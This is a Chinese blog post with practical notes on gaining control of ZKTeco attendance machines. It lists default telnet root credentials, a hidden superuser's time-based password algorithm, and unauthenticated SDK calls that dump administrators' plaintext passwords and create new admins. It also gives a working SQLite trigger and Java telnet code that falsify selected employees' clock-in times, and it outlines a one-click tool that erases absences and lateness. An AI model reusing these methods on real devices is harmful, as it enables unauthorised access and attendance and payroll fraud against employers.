你好,我叫吴彦祖
性感彦祖,在线迟到。

0x00 引言

记录一下调戏中控考勤机的一些笔记。

中控考勤机基本上被研究烂了,所以与其说是破解,不如说是扩展。不过玩这些的应该大多都是人事?意味着去扩展的人应该还是少数。

  • 默认远程 telnet 用户名 root,密码solokeypd*@&jz%+
  • 隐藏的超管用户8888,和与时间有关的动态密码
  • 通过 TCP 4370 端口读取用户信息,包含管理员明文密码

对于第一点,pd*@&jz%+这个密码我还没有在任何考勤机上见过。需要注意的是,在默认设置下,考勤机的 IP 地址是 192.168.0.201。如果在无权限进入管理界面时接入内网,需要确认内网 IP 段是 192.168.0.* 且上述 IP 未被占用。

对于第二点,详细的算法是:假设当前时间为16:43,则动态密码为(9999-1643)2=69822736。这个可以做成一个 H5 手机应用,用 js 来获取当前时间并计算当前、后 1 分钟、后 2 分钟的密码并显示:
H5程序

我在部分考勤机上做测试没有成功,总说我非法管理。猜测具体动态密码在新版本上可能有做更改,自己 telnet 到相应考勤机上把 libverify.so 拷下来研究吧,由于是 MIPS 架构的 ELF,可能需要 IDA with Retdec 或者 jeb mips,暂时没看。

对于第三点,请结合 0x05 部分查看

0x01 考勤机 Telnet 后台

数据库类型

基本上是 SQLite3,这点可以从 /mnt/mtdblock/data/ 下的 sqlite3 相关文件看出来。

# ls -l /mnt/mtdblock/data
total 1316
-rwxrwxr-x    1 1002     1002         56832 May 26  2016 AttSettingS.xls
-rwxr-xr-x    1 root     root          1213 Feb  1  2000 License.lic
-rwxrwxr-x    1 1002     1002         63488 May 26  2016 SSRTemplateS.xls
-rwxrwxrwx    1 root     root        381952 Apr 26 09:12 ZKDB.db
-rwxrwxr-x    1 1002     1002         22528 Apr 16 08:26 ZKSystem.db
-rwxrwxr-x    1 1002     1002         54012 May 26  2016 big5.dat
-rwxrwxr-x    1 1002     1002        273790 May 26  2016 ca-certificates.crt
drwxr-xr-x    1 root     root          2048 Jan  1  1970 capture
-rwxrwxr-x    1 1002     1002          5448 May 26  2016 dateFormulaTemp.dat
-rwxrwxr-x    1 1002     1002         29156 May 26  2016 japan.dat
drwxr-xr-x    1 root     root          2048 Dec  2 09:29 photo
-rwxrwxr-x    1 1002     1002          1614 May 26  2016 push.ini
-rwxrwxr-x    1 1002     1002          2294 May 26  2016 sql-generater.sh
-rwxrwxr-x    1 1002     1002        103337 May 26  2016 sqlite3_mips
-rwxrwxr-x    1 1002     1002         36720 May 26  2016 standalonetabledesc.xml
-rwxrwxr-x    1 1002     1002         19988 May 26  2016 tabledesc.xml
-rwxrwxr-x    1 1002     1002          1949 May 26  2016 update_shortcutkey.sql

其中 ZKDB.db 就是考勤数据库文件, ZKSystem.db 是系统配置数据库文件,sqlite3_mips 是操作 SQLite3 数据库的 ELF 文件,可以知道该考勤机系统架构是 MIPS ,暂不确定其他考勤机架构。但是从 sql-generater.sh 文件内容来看,应该还有 ARM 架构。

如何获取 ZKDB.db

如果你有了 telnet 权限,参考 0x02 使用 tftp 命令将文件传输至电脑即可。
如果你没有,请确认你有后台权限,以及考勤机版本较新,这样可以通过后台将考勤机数据备份出来,其中就有 ZKDB.db
如果你都没有,那对不起,去撩人事小姐姐吧。

tftp / ftpput / ftpget

考勤机上安装了 Busybox, 支持的命令有:

Currently defined functions:
        [, [[, arping, ash, awk, base64, basename, blkdiscard, bunzip2, bzcat, bzip2, cat, chat, chmod, cksum, clear,
        cmp, cp, cttyhack, cut, date, dd, df, dhcprelay, diff, dmesg, dnsdomainname, dumpleases, echo, egrep, env,
        expr, fdisk, fgrep, find, free, ftpget, ftpput, getopt, getty, grep, gunzip, gzip, halt, head, hexdump, hostid,
        hostname, hwclock, id, ifconfig, init, insmod, ip, ipaddr, iplink, iproute, iprule, iptunnel, kill, killall,
        linuxrc, ln, login, ls, lsmod, lsusb, md5sum, mdev, mkdir, mkfifo, mknod, mktemp, more, mount, mv, netstat,
        nsenter, nslookup, pgrep, ping, pipe_progress, poweroff, ps, pwd, reboot, reset, rm, rmmod, route, run-parts,
        sed, sh, sleep, softlimit, sort, start-stop-daemon, stty, sync, tar, telnetd, test, tftp, top, touch, tunctl,
        ubirename, udhcpc, udhcpd, uevent, umount, uname, unshare, usleep, vi, which, xargs, zcat

可以看到支持 tftp,可以通过它来传输文件。在 Windows 上开启 tftp 客户端/服务器,你需要 TFTP. 当然也有 ftpget 和 ftpput 可供选择。

到这就意味着你基本上可以修改打卡机上的任意文件和数据,包括考勤记录,用户照片,考勤机背景图片,甚至把打卡成功提示音改成老八秘制小汉堡。

0x02 考勤记录导出 Excel 表时的排序

高版本中控考勤机,导出记录是按照数据库内的时间进行升序排列的。而低版本考勤机是按照插入表的先后顺序排列的。

举个简单的例子,小田的公司用的是高版本考勤机,2020 年 4 月 25 号他正常打卡,但是 24 号他忘了打卡。于是 25 号这天他进入管理后台,将考勤机系统时间改成 24 号,打了两次卡后再改回 25 号。最后导出的记录大概是这样的:

注:部分新版本导出的记录是类似于课程表一样的格式,大部分版本导出的是工号,不含姓名,需要使用 Excel 的VLOOKUP函数来进行表透视,但为了方便理解,此处做了修改

姓名打卡时间
小田2020-04-24 08:30:12
小田2020-04-24 18:30:59
小田2020-04-25 08:45:37
小田2020-04-25 19:04:25

看起来和正常记录并无差别。

但如果小田公司用的是低版本考勤机,那么当他按照上面流程操作后,导出的记录大概是这样的:

姓名打卡时间
小田2020-04-25 08:45:37
小田2020-04-25 19:04:25
小田2020-04-24 08:30:12
小田2020-04-24 18:30:59

实际上,在旧版考勤机上,导出的记录是多人混杂的,实际情况会更加复杂:

姓名打卡时间
小田2020-04-25 08:45:37
刘英2020-04-25 08:46:23
永强2020-04-25 08:47:51
刘英2020-04-25 18:58:47
小田2020-04-25 19:04:25
永强2020-04-25 19:23:09
小田2020-04-24 08:30:12
小田2020-04-24 18:30:59

如果人事小姐姐眼尖,并且小田和人事小姐姐没有 love affair,不出意外小田将会被炒鱿鱼。

如果曾经有 love affair,那应该也会被炒鱿鱼。

0x03 每天打卡自动调整时间

这个比较巧妙,不需要借助任何额外插件,一次修改终身受用。但需要你能修改 ZKDB.db 文件。

这个巧妙的方式就是 触发器

trigger.png

首先,我们知道每打卡一次,就相当于往考勤表里面 Insert 了一条数据。而我们的触发器,可以在 Insert 数据之后被触发。这就为我们修改打卡数据创造了条件。

其次,这个触发器应该是对部分人起作用的,比如只对你起作用,或者和你关系很好的小姐姐和基友(们),所以我们需要对打卡人的身份进行认证。这里可根据打卡人的密码进行认证,当打卡人的密码是 4370 的时候,就认为对这个打卡人起作用。当然你也可以根据工号来认证,不过当你需要新增或者删除起作用的人员的时候就会很麻烦。而采用上面的方法,新增 / 删除起作用人员只需将这个人的密码改成 4370 / 改掉。至于为什么我选 4370,这是因为中控官方考勤软件控制打卡机的 TCP 端口号正好是 4370

再次,当日第一次打卡,则认为是打上班卡,第二次则认为是打下班卡,仅对这两次做触发即可。

下面是当天第一次打卡时的触发器代码:

CREATE TRIGGER "main"."ATT_CHEAT_I1"
AFTER INSERT -- 插入数据以后触发
ON "ATT_LOG"
FOR EACH ROW
WHEN
{
    -- "NEW" 关键字的意思, 就是指刚被插入的那行记录
    (SELECT 
         Password 
     FROM 
         USER_INFO 
     WHERE
         User_PIN = NEW.User_PIN) = '4370'
         -- 刚插入的记录的用户密码是 4370
    AND
    ((SELECT COUNT(ID) 
      FROM ATT_LOG 
      WHERE 
          User_PIN = NEW.User_PIN AND 
          Verify_Time LIKE substr(NEW.Verify_Time, 1, 11)||'%') = 1)
      -- 假设打卡时间是 2020-4-26 17:14:50, 那么 NEW.Verify = '2020-04-26T17:14:50'
      -- substr(NEW.Verify_Time, 1, 11) = '2020-04-26T', 并上'%',最终就是
      -- Verify_Time LIKE '2020-04-26T%', SELECT COUNT(ID) 即可获得当日打卡数
      -- = 1 即是说明刚刚的打卡是当日第一次打卡
}
BEGIN
    -- 更新本条打卡记录
    UPDATE ATT_LOG
    SET
        Verify_Time = 
        strftime('%Y-%m-%dT%H:%M:%S',
            julianday(
                substr(NEW.Verify_Time, 1, 10) || 'T07:30"00') -- 基准时间:当日7点半
            + abs(random() % 30) * 1.0 / 24 / 60           -- 随机 + 0~29 分钟
            + abs(random() % 60) * 1.0 / 24 / 60 / 60)     -- 随机 + 0~59 秒
        , Verify_Type = 1 -- 代表指纹打卡,这个可以没必要改,如果你们公司不要求必须指纹打卡的话
    WHERE ID = NEW.ID
END;

相应的,当日第二次打卡触发器 ATT_CHEAT_I2 原理类似。将触发器添加至 ZKDB.db 内即可。

0x04 使用 SDK 获取管理权限

中控考勤机开放 TCP 4370 端口供官方的 SDK 对考勤机进行管理。默认情况下,使用 SDK 连接考勤机不需要任何验证。由于 SDK 提供的 dll 可以供二次开发使用,你可以使用多种编程语言对 SDK 进行二开,只需要调用相应 dll 内的相应方法即可,其 SDK 说明可在各大资源站下载。

鉴于 Github 上中控考勤机 SDK 的项目已经足够多,此处不做代码展开,只讲几个有意思的 API。

ReadAllUserID

读取所有的用户信息到PC内存中,包括用户编号,密码,姓名,卡号等,指纹模板除外。在该函数执行完成后,可调用函数 GetUserInfo、SSR_GetUserInfo 取出用户信息。

bool ReadAllUserID (long dwMachineNumber) 

注意到该 API 的描述,可以读取所有用户的信息,包括密码,也就是说管理员及其密码也在内,这就允许你获取进入后台的权限。需要注意的是,该 API 的作用是预读取,要获取每条用户信息,则需要调用下面的另一个 API 获取。

SSR_GetAllUserInfo

取得所有用户信息。在该函数执行之前,可用 ReadAllUserID 读取到所有用户信息到内存,SSR_GetAllUserInfo 每执行一次,指向用户信息指针移到下一记录,当读完所有用户信息后,函数返回False

bool SSR_GetAllUserInfo  ( 
  long dwMachineNumber,  // [in]  机器号
  BSTR *  dwEnrollNumber,// [out] 用户号
  BSTR *  Name,          // [out] 用户姓名,最长为16字节,偶尔需要自己做隔断
  BSTR *  Password,      // [out] 用户密码
  long *  Privilege,     // [out] 用户权限,0 普通用户,1 登记员,2 管理员,3 超级管理员 
  bool *  Enabled        // [out] 用户启用标志 
 )

使用 while 循环调用该函数,即可在 ReadAllUserID 调用以后,获得用户的信息,包括密码

SSR_SetUserInfo

设置指定用户的用户信息,若机器内没用该用户,则会创建该用户

bool SSR_SetUserInfo ( 
  long dwMachineNumber,  // [in] 机器号
  BSTR dwEnrollNumber,   // [in] 用户号
  BSTR Name,             // [in] 用户姓名,最长为16字节
  BSTR Password,         // [in] 用户密码
  long Privilege,        // [in] 用户权限,0 普通用户,1 登记员,2 管理员,3 超级管理员 
  bool Enabled           // [in] 用户启用标志 
 )

如果你想简单粗暴新建管理员,或者将自己改为管理员,这个 API 是个不错的选择。

SetDeviceTime2

设置机器时间(可指定时间)

bool SetDeviceTime2 ( long  dwMachineNumber,  
  long  dwYear,  
  long  dwMonth,  
  long  dwDay,  
  long  dwHour,  
  long  dwMinute,  
  long  dwSecond  
 )  

这个 API 和获取密码没什么关系,但允许你通过 SDK 修改考勤机当前时间。对于新版考勤机而言,由于导出记录是根据时间升序排列的,修改时间再补打卡不会被看出来,所以可以用这种方式简单地补打卡。 0x00 引言 中我的 H5 小程序正是实现了这个功能。

0x05 基于 SpringMVC 的打卡机联动考勤管理系统

这个基本上像个小项目一样的东西了。原理很简单,自己写业务层的增删改查就可以。为什么不选择用 SDK?很简单,因为用 SDK 不能选择查询范围,可能你读一次记录要半天,把考勤机上岗之初到现在的所有记录全都读出来了。

问题是这里并没有现成的远程 jdbc 地址可供 mybatis 连接,所以我们选择用 Telnet 命令的方式。

CURD via Telnet

注意到 0x02 中提到的 sqlite3_mips,其实就是一个 SQLite3 应用,可以通过命令行进行 CURD。则在Java内写一个与之相适应的 Telnet 客户端,通过输入命令和输出数据,配合正则表达式格式化输出即可。

至于查询条件,请自行根据需求拼装成 SQL 语句,输入 Telnet 客户端即可。

需要额外注意的是:在我这个版本的考勤机 telnet 中,会显示 ANSI COLOR,所以格式化数据的时候,需要去除 ANSI COLOR. 鉴于我编写的 TelnetClientEx 太长,就不贴出来了。

使用示例:

private TelnetClientEx getTelnet() {
    TelnetClientEx telnet = new TelnetClientEx();
    telnet.setColored(false);
    telnet.setCharset("UTF-8");
    telnet.connect(CacheContext.getParamValue("attMachineAddr", "192.168.0.201"), Integer.parseInt(CacheContext.getParamValue("attMachinePort", "23")));
    telnet.login(CacheContext.getParamValue("attMachineUser", "root"), CacheContext.getParamValue("attMachinePassword", "solokey"));
    return telnet;
}

/**
 * 根据 ID 获取 1 条考勤记录
 * @param id
 * @return AttLog(nullable)
 */
public AttLog getOne(Integer id) {
    if(id == null) {
        return null;
    }
    TelnetClientEx telnet = getTelnet();
    try {
        // 发送命令
        telnet.command("cd /mnt/mtdblock/data/");
        telnet.setEndPattern("> ");
        telnet.command("./sqlite3_mips ZKDB.db");
        String sqlBody = 
                "SELECT ATT_LOG.*, USER_INFO.Name FROM ATT_LOG LEFT JOIN USER_INFO ON USER_INFO.User_PIN = ATT_LOG.User_PIN WHERE ATT_LOG.id=" + id + ";";
        String selectResult = telnet.command(sqlBody);
        Pattern p = Pattern.compile("^(.*?)\\|(.*?)\\|.*?\\|(.*?)\\|.*?\\|.*?\\|.*?\\|.*?\\|.*?\\|.*?\\|.*?\\|(.*?)$", Pattern.MULTILINE);
        if(selectResult != null ) {
            Matcher m = p.matcher(selectResult);
            if(m.find()) {
                Integer userPin = Integer.valueOf(m.group(2));
                SimpleDateFormat simpleDateFormat = new SimpleDateFormat("yyyy-MM-dd'T'HH:mm:ss");
                //simpleDateFormat.setTimeZone(TimeZone.getTimeZone("GMT"));
                Timestamp timestamp = null;
                try {
                    timestamp = new Timestamp(simpleDateFormat.parse(m.group(3)).getTime());
                } catch (ParseException e) {
                    e.printStackTrace();
                }
                String name = m.group(4);
                return new AttLog()
                    .setId(id)
                    .setUserPin(userPin)
                    .setVerifyTime(timestamp)
                    .setName(name);
            }
        }
        return null;
    } catch (Exception e) {
        e.printStackTrace();
        return null;
    } finally {
        telnet.setEndPattern("# ");
        telnet.command(".q");
        telnet.logout();
    }
}

使用事务批量操作数据

这里的操作包括增删改,要知道打卡机 MCU 性能可能没那么好,如果要一次性增删改大量数据而一条一条来的话,可能很耗时,甚至导致考勤机卡死。

推荐的解决方案是采用事务:

BEGIN;
    INSERT INTO ...;
    UPDATE ...;
    ...
COMMIT;

对应的 Java 代码:

public boolean transaction(List<String> commands) {
    if (commands == null || commands.size() == 0) {
        return true;
    }
    TelnetClientEx telnet = getTelnet();
    try {
        telnet.command("cd /mnt/mtdblock/data/");
        telnet.setEndPattern("> ");
        telnet.command("./sqlite3_mips ZKDB.db");
        telnet.command("BEGIN;");
        for(String command : commands) {
            telnet.command(command);
        }
        telnet.command("COMMIT;");
        return true;
    } catch (Exception e) {
        e.printStackTrace();
        return false;
    } finally {
        telnet.setEndPattern("# ");
        telnet.command(".q");
        telnet.logout();
    }
}

这样既快速,又能在遇到错误的时候回滚。

总之你可以 Telnet,基本上什么花样都可以玩了,我甚至写了个一键补打卡,可以把选定日期的缺勤、迟到、早退全改成全勤。

0x06 一键补打卡

思路是这样,首先确定迟到线和早退线,即上下班时间。确定中位线,即中午 12 点,以判断是上午还是下午。
然后查询指定日期内指定工号(姓名)被考勤人的记录,以天为单位做统计,可能会有以下几种情况:

  • 当天考勤 0 次
  • 当天考勤 1 次
  • 当天考勤 2 次及以上

考勤 0 次的,判定为缺勤,需要做的就是新增 2 条记录,一条位于迟到线之前,另一条位于早退线之后。
考勤 1 次的,首先判断是上午还是下午。是上午的判断是否位于迟到线之前,如果否,则将其修改为迟到线前,并新增 1 条记录位于早退线之后。是下午的同理。
考勤 2 次及以上的,取当日最早和最晚的 2 条记录。对于最早记录,判断是否在迟到线前,如果否,将其修改为迟到前;对于最晚记录,判断是否在早退后,如果否,将其修改为早退后。

当然,我更建议你按时上下班。